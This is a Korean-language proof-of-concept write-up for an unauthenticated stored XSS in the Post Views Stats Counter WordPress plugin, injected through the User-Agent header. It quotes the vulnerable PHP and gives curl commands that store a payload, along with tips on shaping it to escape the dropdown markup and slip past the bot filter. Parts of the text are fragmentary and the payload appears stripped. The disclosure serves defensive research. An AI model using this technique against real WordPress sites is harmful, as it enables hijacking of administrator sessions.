
CVE-2026-97347에 대한 개념 증명(PoC)으로, Post Views Stats Counter WordPress 플러그인에서 User-Agent 헤더를 통해 발생하는 비인증 저장형 XSS 취약점이며, 재현 단계를 포함합니다.
| 플러그인 | Post Views Stats Counter |
| 영향받는 버전 | ≤ 1.1.7 |
| 버그 유형 | 인증 불필요 저장형 XSS |
| 진입점 | User-Agent HTTP 헤더 |
| 싱크 | 관리자 통계 페이지 (options-general.php?page=post_views_stats_admin_menu) |
| CVSS 3.1 | 7.2 High |
| 상태 | 공개 시점에 미패치, 현재까지 알려진 패치 버전 없음 |
| 연구자 | Nawaf Althurwi |
이 플러그인은 방문자의 User-Agent 헤더를 포함한 모든 페이지 조회를 사용자 정의 테이블(wp_pvs_counter)에 기록합니다. 다음은 헤더를 가져오는 부분입니다 — 경로 어디에도 정제(sanitization)가 없습니다:
// wp_pvscounter.php
$ua = $_SERVER['HTTP_USER_AGENT'];
들어오는 길목의 유일한 방어는 봇 필터이며, 그것도 그저 부분 문자열 블랙리스트일 뿐이다:
// wp_pvscounter.php
function pvs_counter_is_bot() {
$pvs_bots = get_option('pvs_counter_value_admin_bots');
...
foreach( $pvs_bots as $pvs_bot ) {
if (stripos( $ua, $pvs_bot ) !== false) {
$bot = 1;
return $bot;
}
}
}
기본 목록은 bot, spider, crawler입니다. 이 부분 문자열을 포함하지 않는 것은 무엇이든 저장됩니다. 그것이 필터의 전부입니다.
출력 측에서는 관리자 페이지가 "등록된 사용자 에이전트"의 드롭다운을 만들고 저장된 값을 <option> 태그 안에 그대로 출력합니다. esc_attr()는 value 속성을 보호하지만, 표시되는 레이블은 단순한 echo입니다:
// manage/admin.php
<?php foreach($useragent_bot_list as $useragent_bot): ?>
<option value="<?php echo (esc_attr($useragent_bot)); ?>"><?php echo $useragent_bot; ?></option>
User-Agent 헤더에 HTML이 포함된 인증되지 않은 요청이 관리자가 다음에 플러그인의 통계 페이지를 열 때 관리자의 브라우저에서 실행됩니다. 전형적인 저장형 XSS로, 인증이 필요 없고 피해자는 자신의 대시보드를 보는 것 외에 아무런 상호작용도 하지 않습니다.
알아둘 만한 제약이 하나 더 있습니다: useragent 컬럼은 varchar(155)이므로 페이로드는 155자 미만으로 유지해야 합니다.
로그에 기록되는 URL이면 무엇이든 작동합니다 — 첫 페이지 /?p=1이면 충분합니다. TARGET을 WordPress 호스트로, YOUR_PAYLOAD를 관리자 세션에서 실행하려는 내용으로 바꾸세요:
curl -s -o /dev/null \
-H 'User-Agent: </option></select>' \
'http://TARGET/?p=1'
페이로드 형태에 대한 참고 사항:
</option></select>는 값을 드롭다운 마크업 밖으로 빼냅니다 — 이는 장식이 아니며, 이것이 없으면 인젝션이 <option> 태그 안에 갇히게 됩니다.bot/spider/crawler(대소문자 구분 없음)가 포함되지 않도록 하세요. 그렇지 않으면 요청이 데이터베이스에 도달하기 전에 봇으로 필터링됩니다.alert() 안에 공백을 넣고 싶다면 대신  를 사용하세요 — 일부 HTTP 클라이언트는 헤더 값의 공백을 변형시킵니다.제 랩에서 사용한 원라이너:
curl -s -o /dev/null -w 'HTTP %{http_code} - payload stored\n' \
-H 'User-Agent: </option></select>' \
'http://packetradar.local:8090/?p=1'

단순한 curl입니다. HTTP 200은 조회수가 집계되었고 헤더가 데이터베이스에 저장되었음을 의미합니다.
관리자로 설정 → Post Views Stats Counter를 엽니다(이미 열려 있다면 새로고침만 하면 됩니다). 페이로드가 통계 위젯 목록의 일부로 렌더링되면서 onerror가 실행됩니다:

S:C 범위 변경 — XSS가 wp-admin에서 실행되므로 관리자의 쿠키로 admin-ajax 및 플러그인 설치 엔드포인트를 호출할 수 있음)
스크러빙/일시정지가 필요하면 더 높은 화질: exploit-vid.mp4
로컬 Docker 랩의 WordPress 6.x에서 버전 1.1.7을 대상으로 테스트했습니다. 인증 불필요, 통계 페이지를 여는 것 외에 사용자 상호작용 없음.